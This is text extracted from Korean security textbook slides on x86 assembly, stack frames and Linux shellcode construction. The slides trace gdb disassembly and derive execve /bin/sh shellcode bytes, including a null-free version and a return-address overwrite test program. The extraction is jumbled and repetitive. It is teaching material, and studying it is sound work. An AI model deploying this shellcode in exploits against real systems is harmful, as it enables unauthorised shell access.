bull STC(Set Carry) 명령은 피연산자 없이 사용 EFLAGS 레지스터의 CF 값을 세을 세팅bull -NOP(No Operation) 아무 의미 없는 명령 일종의 빈 칸을 채우려고 사용bull 기타 프로세스 제어 명령

bull [ 표 2-13] 기타 프로세스 제어 명령

어셈블리어의 기본 문법과 명령

명령 설명

CLC Clear Carry 캐리 플래그를 클리어한다

CMC Complement Carry 캐리 플래그를 반전한다

HLT Halt 정지한다

CLD Clear Direction 디렉션 플래그를 클리어한다

CLI Clear Interrupt 인터럽트 플래그를 클리어한다

STD Set Direction 디렉션 플래그를 세트한다

STI Set Interrupt 인터럽트 인에이블 플래그를 세트한다

WAIT Wait 프로세스를 일시 정지 상태로 한다

ESC Escape to External device 종료 명령이다

53108

MASM32 설치 라이브러리를 제공하는 MASM32 설치

[ 그림 2-22] MASM32 다운로드와 설치

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

bull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASMbull 실습 환경 윈도우 XPbull 필요 프로그램 MASM32 SDK WINASM

실습환경

1

54108

WINASM 설치 에디터인 WINASM를 설치

[ 그림 2-23] WINASM 다운로드와 경로 설정

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

2

55108

프로젝트 생성 WINASM에서 [File]-[New Project] 메뉴를 선택 [New Project] 대화상자에서 생성할 프로젝트의 종류를 선택

[ 그림 2-24] 새 프로젝트 생성

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

3

56108

어셈블리어 프로그램 작성 (1)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

486 32 비트 모드임을 알려준다

model flat stdcall 메모리 모델을 알려준다

라이브러리의 표준 양식이 있는 inc 파일과 라이브러리 파일을 include

include masm32includewindowsinc

include masm32macrosmacrosasm

include masm32includemasm32inc

include masm32includegdi32inc

include masm32includeuser32inc

include masm32includekernel32inc

includelib masm32libmasm32lib

includelib masm32libgdi32lib includelib masm32libuser32lib includelib masm32libkernel32lib

57108

어셈블리어 프로그램 작성 (2)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

code MASM 이 시작됨을 알려준다

start 코드의 시작점 (Entry Point)

call main main 함수를 호출한다

Exit

main proc main 함수

mov eax 100 100 을 EAX 레지스터에 저장한다

mov ecx 250 250 을 ECX 레지스터에 저장한다

add ecx eax ECX 에 EAX 값을 더한다

mov eax 300 300 을 EAX 레지스터에 저장한다

cmp eax ecx EAX 와 ECX 를 비교한다

je equal EAX 와 ECX 가 같으면 equal 로 점프

jg bigger EAX 가 ECX 보다 크면 bigger 로 점프

jl smaller EAX 가 ECX 보다 작으면 smaller 로 점프

58108

어셈블리어 프로그램 작성 (3)

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

4

equal

print chr$(EAX 와 ECX 는 같습니다 )

jmp over over 로 점프한다

bigger

print chr$(EAX 가 ECX 보다 큽니다 )

jmp over

smaller

print chr$(EAX 가 ECX 보다 작습니다 )

over

ret return

main endp main 함수를 끝낸다

end start MASM 프로그램을 끝낸다

59108

컴파일 먼저 [Make]-[Assemble] 메뉴를 선택하면 obj 파일이 생기고

[Make]-[Link] 메뉴를 선택하면 exe 파일이 생성

[ 그림 2-25] 컴파일

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

5

60108

실행 [Make]-[Link] 메뉴까지 실행을 마치면 다음과 같이 AMS_TESTobj와 AMS_TESTexe 파일이 생성 AMS_TESTexe 파일을 실행 해보자

[ 그림 2-26] 실행

실습 2-1 어셈블리어 프로그램 작성하고 실행하기

6

61108

어셈블리어의 각 실행 단계별로 스택의 동작을 살펴보는 과정을 통해 스택에서 어셈블리어

처리하는 과정을 이해 리눅스에서는 어셈블리어가 ATampT 문법으로 사용되어 제 1 피연산자와

제 2 피연산자의 위치가 반대

SAMPLEC 의 어셈블리어 코드 획득 (1)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

samplec

void main()

int c

c=function(1 2)

int function(int a int b)

char buffer[10]

a=a+b

return a

62108

SAMPLEC 의 어셈블리어 코드 획득 (2) 레드햇 리눅스 62 에서 컴파일

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

sampleafile samplec

version 0101gcc2_compiledtext

align 4globl main

type mainfunctionmain

pushl ebp ➊movl espebp ➋subl $4esp ➌pushl $2 ➍pushl $1 ➎call function ➏addl $8esp 1056934movl eaxeax 1056934

gcc -S -o samplea samplec

vi samplea

17

18

63108

SAMPLEC 의 어셈블리어 코드 획득 (3)

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

1

movl eax-4(ebp) 1056934L1

leave 1056937ret

Lfe1size mainLfe1-mainalign 4

globl functiontype functionfunction

functionpushl ebp ➐movl espebp ➑subl $12esp ➒movl 12(ebp)eax ➓addl eax8(ebp) 1056934movl 8(ebp)edx 1056934movl edxeax 1056934jmp L2 1056934p2align 47

L2leave 1056934ret 1056934

Lfe2size functionLfe2-functionident GCC (GNU) egcs-29166 19990314Linux (egcs-112

release)

19

20

21

11

1213

14

15

16

64108

셀 기본 코드 분석➊ pushl ebp 최초의 프레임 포인터 (ebp) 값 스택에 저장

ebp 바로 전에 ret 가 저장 ebp 는 함수 시작 전의 기준점이 된다 스택에 저장된 ebp 를 SFP(Saved Frame Pointer) 라고 부른다

ret(returnaddress) 에는 함수 종료시 점프할 주소값 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

2

65108

➋ movl esp ebp 현재의 esp 값을 EBP 레지스터에 저장 push ebp 와 esp ebp 는 새로운 함수를 시작할 때

항상 똑같이 수행하는 명령으로 프롤로그 (Prologue) 라고 부른다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

66108

➌ subl $4 esp 스택에 4 바이트만큼의 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

67108

➍ pushl $2 ➍sim➏ 세 단계는 function(1 2) 에 대한 코드다

➎ pushl $1

➏ call function

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

68108

➐ pushl ebp 현재 레지스터의 ebp 값을 스택에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

69108

➑ movl espebp function(1 2) 의 시작에서도 pushl ebp 명령과 movlespebp 이 실행되었다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

70108

➒ subl $12esp char buffer[10] 할당 스택에 12 바이트만큼 용량을 할당

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

71108

➓ movl 12(ebp)eax ebp 에 12바이트를 더한 주소 값의 내용 ( 정수 2) 을 eax 값에 복사

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

72108

addl eax8(ebp) ebp 에 8 바이트를 더한 주소 값의 내용 ( 정수 1) 에 eax( 단계 10 에서 2 로 저장됨 ) 값을 더한다

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

11

73108

movl 8(ebp)edx ebp 에 8 바이트 더한 주소 값의 내용 ( 정수 3) 을 edx 에 저장

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

12

74108

movl edxeax edx 에 저장된 정수 3 을 eax 로 복사 jmp L1 L1 로 점프한다

leave 함수를 끝낸다

ret function 함수를 마치고 function 함수에서 저장된 ebp 값을 제거 main 함수의 원래 ebp 값 ([ 그림 2-27] 에서 저장된 최초 ebp 값 ) 으로 EBP 레지스터 값 변경 addl $8esp esp 에 8 바이트를 더한다 movl eaxeax eax 값을 eax 로 복사 movl eax-4(ebp) ebp 에서 4 바이트를 뺀 주소 값 (int c) 에 eax 값을 복사 leave

ret

실습 2-2 프로그램 실행 과정에 따른 스택의 동작 이해하기

13

14

15

16

17

18

19

20

21

75108

시스템을 공격할 때 셸 코드를 스택에 업로드해서 사용하는데 코드는 스택에서 직접 실행될 수

있도록 기계어로 바꾸어 사용

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

bull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdbbull 실습 환경 레드햇 리눅스 62bull 필요 프로그램 gcc gdb

실습환경

1

shellc

include ltstdiohgtinclude ltunistdhgtint main()

char name[2]name[0] = binshname[1] = 0execve(name[0] name NULL)

gcc -o shell shellcgdb shelldisass main

76108

셀 기본 코드 획득

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

1

shello

0x8048198 ltmaingt push ebp ➊

0x8048199 ltmain+1gt mov espebp ➋

0x804819b ltmain+3gt sub $0x8esp ➌

0x804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

0x80481a5 ltmain+13gt movl $0x00xfffffffc(ebp) ➎

0x80481ac ltmain+20gt push 0x0 ➏

0x80481ae ltmain+22gt lea 0xfffffff8(ebp)eax ➐

0x80481b1 ltmain+25gt push eax ➑

0x80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax ➒

0x80481b5 ltmain+29gt push eax ➓

0x80481b6 ltmain+30gt call 0x804d02c lt__execvegt 1056934

0x80481bb ltmain+35gt add $0xc esp 1056934

0x80481be ltmain+38gt l eave

11

12

13

77108

셀 코드 기본 분석➊ 0times8048198 ltmaingt push ebp

➋ 0times8048199 ltmain+1gt mov espebp

➌ 0times804819b ltmain+3gt sub $0x8esp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

78108

셀 코드 기본 분석➍ 0times804819e ltmain+6gt movl $0x80715480xfffffff8(ebp)

ebp 에서 0xffff fff8(-8) 거리에 있는 주소에0x08071548

값을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

79108

셀 코드 기본 분석➎ 0times80481a5 ltmain+13gt movl $0x00xfffffffc(ebp)

ebp 에서 0xfffffffc(-4) 거리에 있는 주소에 0x0 값을저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

80108

셀 코드 기본 분석➏ 0times80481ac ltmain+20gt push 0x0

execve(name[0] name NULL) 부분 중 마지막 인수 값 (NULL) 을 스택에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

81108

셀 코드 기본 분석➐ 0times80481ae ltmain+22gt lea 0xfffffff8(ebp) eax

lea(Load Effective Address) 명령은 -8(ebp)

(0x08071548) 의 주소 (0xbfffe830) 를 eax 값에저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

82108

셀 코드 기본 분석➑ 0times80481b1 ltmain+25gt push eax

eax 값 (0xbfffe830) 을 스택에 저장 execve(name[0]

name NULL) 부분 중 두 번째 인수 name 에 대한 값

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

83108

셀 코드 기본 분석➒ 0times80481b2 ltmain+26gt mov 0xfffffff8(ebp)eax

eax 의 ebp 에서 0xffff fff8(-8) 거리에 있는 주소 값 (0x08071548) 을 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

84108

셀 코드 기본 분석➓ 0times80481b5 ltmain+29gt push eax

스택에 eax 값을 저장 스택에 새로 추가되는 이 값은 결국 -8(ebp) 값과 동일하게 binsh 문자열이 있는 곳에 대한 주소 값이다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

85108

셀 코드 기본 분석 0times80481b6 ltmain+30gt call 0x804d02c lt__execvegt

execve 에 대한 인수를 모두 스택에 저장했으므로 execve 를 호출

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

11

0x804d02c lt__execvegt push ebp

0x804d02d lt__execve+1gt mov espebp

0x804d02f lt__execve+3gt push edi

0x804d030 lt__execve+4gt push ebx

0x804d031 lt__execve+5gt mov 0x8(ebp)edi

0x804d034 lt__execve+8gt mov $0x0eax

0x804d039 lt__execve+13gt test eaxeax

0x804d03b lt__execve+15gt je 0x804d042

lt__execve+22gt

0x804d03d lt__execve+17gt call 0x0

0x804d042 lt__execve+22gt mov 0xc(ebp)ecx

disass execve

86108

셀 코드 기본 분석

0times804d02c lt__execvegt push ebp

0times804d02d lt__execve+1gtmov espebp

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

0x804d045 lt__execve+25gt mov 0x10(ebp)edx

0x804d048 lt__execve+28gt push ebx

0x804d049 lt__execve+29gt mov ediebx

0x804d04b lt__execve+31gt mov $0xbeax

0x804d050 lt__execve+36gt int $0x80

87108

셀 코드 기본 분석 0times804d02f lt__execve+3gt push edi

0times804d030 lt__execve+4gt push ebx

스택에 EDI(DI Destination Index) 레지스터와 EBX 레지스터 값을 저장 edi 는 0 이고 ebx 는 현재의lsquo Basersquo 값으로 0xbfffe504

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

88108

셀 코드 기본 분석 0times804d031 lt__execve+5gt mov 0x8(ebp)edi

ebp 에서 8 바이트 상위 주소의 값을 edi 에 저장

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

89108

셀 코드 기본 분석 0times804d034 lt__execve+8gt mov $0x0eax eax 값을 0 으로 초기화

0times804d039 lt__execve+13gt test eaxeax and 와 같은 명령으로 eax 값을 0으로 확인

0times804d03b lt__execve+15gt je 0x804d042 lt__execve+22gt je(Jump if Equal) 0x804d042 와

lt__execve+22gt 주소 일치하면 0x804d042 로 점프 0times804d03d lt__execve+17gt call 0x0

0times804d042 lt__execve+22gt mov 0xc(ebp)ecx

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

90108

셀 코드 기본 분석

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

91108

셀 코드 기본 분석 0times804d045 lt__execve+25gt mov 0x10(ebp)edx 16(ebp) 값을 edx 에 저장

[ 그림 2-48] execve+25까지 실행 시 스택의 구조

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

92108

셀 코드 기본 분석 0times804d048 lt__execve+28gt push ebx 스택에 ebx 값 저장 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소 값

(0x08071548) 이

저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax

EAX 레지스터에 시스템 호출을 위한 값 0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템 호출 (int $0x80)

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

93108

셀 코드 기본 분석 0times804d049 lt__execve+29gt mov ediebx edi 에는 binsh 문자열에 대한 주소

(0x08071548) 이 저장되어 있으며 이 값을 EBX 레지스터에 저장 0times804d04b lt__execve+31gt mov $0xbeax EAX 레지스터에 시스템 호출 위한 값

0xb 저장 0times804d050 lt__execve+36gt int $0x80 시스템을 호출 (int $0x80

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

2

94108

셀 기본 코드 정리➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치➌ 0xb 를 EAX 레지스터에 저장➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사➎ binsh 문자열의 주소를 ECX 레지스터에 복사➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사➐ int $0x80 명령을 실행 종료되도록 하는 명령을 추가

➑ 0x1 을 EAX 레지스터에 복사한다

➒ 0x0 을 EBX 레지스터에 복사한다

➓ int $0x80 명령을 실행한다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

3

include ltstdlibhgt

int main()exit(0)

95108

셀 기본 코드 재코딩➊ NULL 문자로 종료되는 binsh 문자열을 임의의 메모리에 위치➋ 워드 길이의 null 이 뒤따르는 binsh 문자열의 주소를 메모리의 어딘가에 위치

➌ 0xb 를 EAX 레지스터에 저장

➍ binsh 문자열의 주소를 저장한 곳의 주소 ( 즉 주소의 주소 ) 를 EBX 레지스터에 복사

➎ binsh 문자열의 주소를 ECX 레지스터에 복사

➏ 워드 길이의 null 의 주소를 EDX 레지스터에 복사

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movb $0x0 [0x0 1 바이트에 대한 주소 ]movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

96108

셀 기본 코드 재코딩

➐ int $0x80 명령을 실행

➑ 0x1 을 EAX 레지스터에 복사

➒ 0x0 을 EBX 레지스터에 복사

➓ int $0x80 명령을 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

97108

셀 기본 코드 재코딩

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

movl [binsh 문자열이 저장된 주소 ] [binsh 문자열이 저장된 주소에

대한 포인터 ]

movb $0x0 [0x0 1바이트에 대한 주소 ]

movl $0x0 [NULL 에 대한 주소 ]

movl $0xbeax

movl [binsh 문자열의 주소 ] ebx

leal [binsh 문자열의 주소 ] ecx

leal [NULL 문자열의 주소 ] edx

int $0x80

movl $0x1 eax

movl $0x0 ebx

int $0x80

98108

99108

셀 기본 코드 재코딩 원래의 코드에 몇 라인이 더 추가 또한 절대 주소에 관계없이 명령이 순서대로 잘 실행되도록

하기 위해 IP(Instruction Pointer) 사용

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp [ 점프할 주소 ]popl esi

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)movb $0x0 [0x0 값에 대한 오프셋 ](esi)movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi)movl $0xb eaxmovl esi ebxleal [binsh 의 주소에 대한 오프셋 ](esi) ecxleal [NULL 의 주소 값에 대한 오프셋 ](esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call [popl 에 대한 오프셋 ]

string binsh

100108

셀 기본 코드 재코딩 IP 를 사용하기 위해서는 각 명령어의 크기를 확인 [ 표 2-14] 각 명령의 크기와 오프셋

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

명령 크기 누적 값

jmp [점프할 주소 ] 2 바이트 2 바이트

popl esi 1 바이트 3 바이트

movl esi [binsh 문자열의 주소에 대한 오프셋 ](esi)

3 바이트 6 바이트

movb $0x0 [0x0 값에 대한 오프셋 ](esi) 4 바이트 10바이트

movl $0x0 [NULL 의 주소 값에 대한 오프셋 ](esi) 7 바이트 17바이트

movl $0xb eax 5 바이트 22바이트

movl esi ebx 2 바이트 24바이트

leal [binsh 문자열의 주소에 대한 오프셋 ](esi) ecx

3 바이트 27바이트

leal [NULL 의 주소 값에 대한 오프셋 ](esi) edx 3 바이트 30바이트

int $0x80 2 바이트 32바이트

movl $0x1 eax 5 바이트 37바이트

movl $0x0 ebx 5 바이트 42바이트

int $0x80 2 바이트 44바이트

call [popl 에 대한 문자열 ] 5 바이트 49바이트

string binsh 8 바이트 57바이트

101108

셀 기본 코드 재코딩

call 의 앞주소 44 바이트에 jmp 의 2 바이트를 뺀 42 의 16 진수 값이 a

call 함수에 의해 만들어진 SFP(Saved Frame Pointer) 주소 값이 ESI 레지스터에 저장

0x8 0x7 0xc 는각 execve 의 인수에 대한 오프셋 값으로

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

jmp 0x2a

popl esi

movl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)

movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80

call -0x2f

102108

셀 기본 코드 재코딩 call 명령의 0x2f 는 call 명령어까지의 전체 누적 크기인 49 바이트에서 jmp 의 2 바이트를

뺀값 (47=0x2f) 으로 call-0x2f 명령은 popl 라인 호출

C 언어 프로그램으로 다시 바꾸면 다음과 같다

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

4

string binsh

asmshellcvoid main()

__asm__(jmp callshellpopl esimovl esi 0x8(esi)movb $0x0 0x7(esi)movl $0x0 0xc(esi)movl $0xb eaxmovl esi ebxleal 0x8(esi) ecxleal 0xc(esi) edxint $0x80movl $0x1 eaxmovl $0x0 ebxint $0x80callcall shellstring binsh)

103108

셀 실행 [ 표 2-14] 는 코드를 컴파일 하여 GDB 에서 각각의 명령을 기계어로 전환된 셸 코드 정상적으로 동작하는지 확인해보자

[ 그림 2-51] asmshell 의 disass main 명령 결과

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

gcc -o asmshell -g -ggdb asmshellcgdb asmshelldisass mainxbx main+3

104108

셀 실행 [ 표 2-14] 기계어로 변경한 어셈블리어 코드

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

어셈블리어 코드 바이트 기계어

jmp 0x2a 2 xebx2a

popl esi 1 x5e

movl esi 0x8(esi)

3 x89x76x08

movb $0x0 0x7(esi)

4 xc6x46x07x00

movl $0x0 0xc(esi)

7 xc7x46x0cx00x00x00x00

movl $0xb eax 5 xb8x0bx00x00x00

movl esi ebx 2 x89xf3

leal 0x8(esi) ecx 3 x8dx4ex08

leal 0xc(esi) edx 3 x8dx56x0c

int $0x80 2 xcdx80

movl $0x1 eax 5 xb8x01x00x00x00

movl $0x0 ebx 5 xbbx00x00x00x00

int $0x80 2 xcdx80

call -0x2f 5 xe8xd1xffxffxff

string binsh 8 x2fx62x69x6ex2fx73x68

105108

셀 실행 기계어 코드를 main 함수의 RET 주소에 작성

컴파일하고 실행

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

shelltestc

char shell[ ]=

xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00x00

xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80xb8x01

x00x00x00xbbx00x00x00x00xcdx80xe8xd1xffxffxff

x2fx62x69x6ex2fx73x68

void main( )

int ret

ret = (int )ampret+2

(ret)=(int)shellcode

gcc -o shelltest -g -ggdb shelltestcshelltest

106108

셀 실행 [ 그림 2-52] shelltest 의 실행 결과

셸을 얻기 위한 기계어 코드 획득에 성공

0x00은 NULL 바이트로 공백 문자와 같은 역할을 하기 때문에 공격할 때 에러가 발생 가능 0x00 이 생기는 어셈블리어코드를 조금 바꾸어 0x00 과 같은 바이트가 생성되지 않도록 해야 함

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

107108

셀 실행 [ 표 2-15] 0x00 을 없애기 위한 코드 변경

실습 2-3 셀 실행 과정을 이해하고 셀 코드 생성하기

5

변환 전 코드 변환 후 코드

movb $0x0 0x7(esi)

movl $0x0 0xc(esi)

xor l eax eax

movb eax 0x7(esi)

movl eax 0xc(esi)

movl $0xb eax movb $0xb al

movl $0x1 eax

movl $0x0 ebx

xorl ebx ebx

movl ebx eax

inc eax

xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0

x0b

x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40

xcd

x80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68

IT CookBook 정보 보안 개론과 실습 시스템 해킹과 보안 (개정판 )

Page 44: 80×86  시스템에 대한 이해

44108

어셈블리어의 기본 명령 스트링 명령 바이트로 구성된 스트링 (strings of bytes) 을 메모리 내에서 전송

bull REP(Repeat) ADD 나 MOVS 와 같은 작동 코드의 앞에 위치 CX 가 0 이 될 때까지 뒤에 오는 스트링 명령 반복

bull MOVS(Move String) 바이트나 워드 더블워드 옮기는 명령 MOVSB MOVSW MOVSD 가 있다 DSSI 가 지시한 메모리 데이터를 ES DI 가 지시한 메모리로 전송

어셈블리어의 기본 문법과 명령

형식 REP 작동코드 -

형식 MOVSB

사용예

CLD

LEA SI String_1

LEA DI String_2

MOV CX 384

REP MOVSB

- CLD (Clear Direction) 디렉션 플래그를 지움

- LEA SI String_1 String 1 의 주소 값을 SI(Source Index) 에 저장

- LEA DI String_2 String 2 의 주소 값을 DI(Destination Index) 에 저장

- MOV CX 384 CX 에 384 저장

- REP MOVSB SI 로부터 DI까지 CX 가 0 이 될 때까지 1 바이트씩 복사

45108

어셈블리어의 기본 명령

bull 기타 스트리밍bull [ 표 2-10] 기타 스트링 명령

어셈블리어의 기본 문법과 명령

명령문 설명

CMPSCompare String

DS SI 와 ES DI 의 내용을 비교한 결과에 따라 플래그를 설정한다

SCAS Scan StringAL 또는 AX 와 ESDI 가 지시한 메모리 내용을 비교한 결과에

따라 플래그를 설정한다

LODS Load String SI 내용을 AL 또는 AX 로 로드한다

STOS Store String AL 또는 AX 를 ES DI 가 지시하는 메모리에 저장한다

46108

어셈블리어의 기본 명령 제어 전송 명령 점프 ( 분기 Jump) 조건 점프 ( 조건 분기 Conditional jump)

루프 (Loop) 호출 (Call) 과 리턴 (Return) 연산 등으로

프로그램의 흐름 제어

bull JMP(Unconditional Jump) 대표적인 점프 명령 프로그램을 실행할 주소 또는 라벨로 이동

어셈블리어의 기본 문법과 명령

형식 JMP [ 제 1 피연산자 ]

사용 예

JMP 100h

주소로 직접 지정한 100h 번지로 점프한다

string MOV CX 384

JMP string

라벨로 JMP 를 지정하는 경우다

47108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JC carry flag set CF = 1 CF 값이 1 이면 점프

JNC not carry flag set CF = 0 CF 값이 0 이면 점프

JEJZ Equal Zero ZF = 1 결과가 0 이면 점프

JAJNBEabovenot below nor equal

CF = 0 and ZF = 0

결과가 크면 점프 ( 부호화 안된 수 )

JAEJNBabove or equalnot below

CF = 0결과가 크거나 같으면 점프 ( 부호화 안된 수 )

JBJNAEbelownot above nor equal

CF = 1 결과가 작으면 점프 ( 부호화 안된 수 )

JLJNGElessnot greater nor equal

SF = OF 결과가 작으면 점프 ( 부호화된 수 )

JBEJNAbelow or equalnot above

(CF or ZF) = 1결과가 작거나 같으면 점프 ( 부호화 안된 수 )

JGJNLEgreaternot less nor equal

ZF = 0 and SF = OF

결과가 크면 점프 ( 부호화 안된 수 )

JGEJNLgreater or equalnot less

SF = OF 결과가 크거나 같으면 점프 ( 부호화된 수 )

48108

어셈블리어의 기본 명령 [ 표 2-11] 조건부 점프 명령

above below 부호 없는 두 수의 크기 관계

greater less 부호 있는 두 수의 크기 관계

어셈블리어의 기본 문법과 명령

명령 점프 조건 설명

JLEJNGless or equalnot greater

ZF = 1 or SF = OF

결과가 작거나 같으면 점프 ( 부호화 안된 수 )

결과가 0 이 아니면 점프

JNEJNZ not equalnot zero ZF = 0JNOnot overflowOF=0 오버플로우가

아닌 경우 점프

JNPJPO not parityparity odd PF = 0 PF 가 1 이면 점프

JNS not sign SF = 0 SF 가 1 이면 점프

JO overflow OF = 1 오버플로우 발생 시 점프

JPJPE parityparity even PF = 1 PF 가 1 이면 점프

JS Sign SF = 1 SF 가 1 이면 점프

JCXZ CX Zero CX = 0 CX 가 0 이면 점프

49108

어셈블리어의 기본 명령

bull CALL(Call) JMP 처럼 함수 호출할 때 사용 제 1 피연산자에 라벨을 지정 리턴 주소로 IP(Instruction Pointer) 주소 백업 lsquoPUSH EIP + JMPrsquo 와 같은 의미

bull RET(Return from CALL) 함수에서 호출한 곳으로 돌아갈 때 사용하는 명령 lsquoPOP EIPrsquo 와 같은 의미

bull CALL 과 RET 의 예 가정 AX 에는 0x08h 값이 저장

bull SUBR 함수 호출하면 SUBR 라벨이 있는 곳에서 RET까지 실행 INC AX 가 있으므로 AX 는 0x09hbull RET 명령이 실행되면 CALL 다음 라인인 lsquoADD AX 10hrsquo 실행 AX 는 0x19h

어셈블리어의 기본 문법과 명령

RET

CALL SUBR ADD AX 10h SUBR INC AX RET

형식 CALL [ 제 1 피연산자 ]

50108

어셈블리어의 기본 명령

bull LOOP(Loop CX times) 문장들의 블록을 지정된 횟수만큼 반복 CX 는 자동적으로 카운터로 사용되며 루프 반복할 때마다 감소

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를 스택에 저장

그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

형식 INT [ 제 1 피연산자 ]

51108

어셈블리어의 기본 명령

bull 기타 제어 전송 명령

bull INT(Interrupt) 인터럽트가 호출되면 CSIP(Code Segment Instruction Pointer) 와 플래그를

스택에 저장 그 인터럽트에 관련된 서브 루틴이 실행

어셈블리어의 기본 문법과 명령

형식 INT [ 제 1 피연산자 ]

형식 LOOP [ 제 1 피연산자 ]

사용 예

MOV AX 0

MOV CX 5

L1 INC AX

LOOP L1

제 1 피연산자는 라벨이 된다 예에서 L1 이 CX 의 숫자만큼

5 번 회전하므로 결과적으로 AX 는 5 가 된다

52108

어셈블리어의 기본 명령 프로세스 제어 명령

bull STC(Set Carry) 명령은 피연산자 없이 사용 EFLAGS 레지스터의 CF 값을 세을 세팅bull -NOP(No Operation) 아무 의미 없는 명령 일종의 빈 칸을 채우려고 사용bull 기타 프로세스 제어 명령

bull [ 표 2-13] 기타 프로세스 제어 명령

어셈블리어의 기본 문법과 명령

명령 설명

CLC Clear Carry 캐리 플래그를 클리어한다

CMC Complement Carry 캐리 플래그를 반전한다

HLT Halt 정지한다

CLD Clear Direction 디렉션 플래그를 클리어한다

CLI Clear Interrupt 인터럽트 플래그를 클리어한다

STD Set Direction 디렉션 플래그를 세트한다

STI Set Interrupt 인터럽트 인에이블 플래그를 세트한다

WAIT Wait 프로세스를 일시 정지 상태로 한다

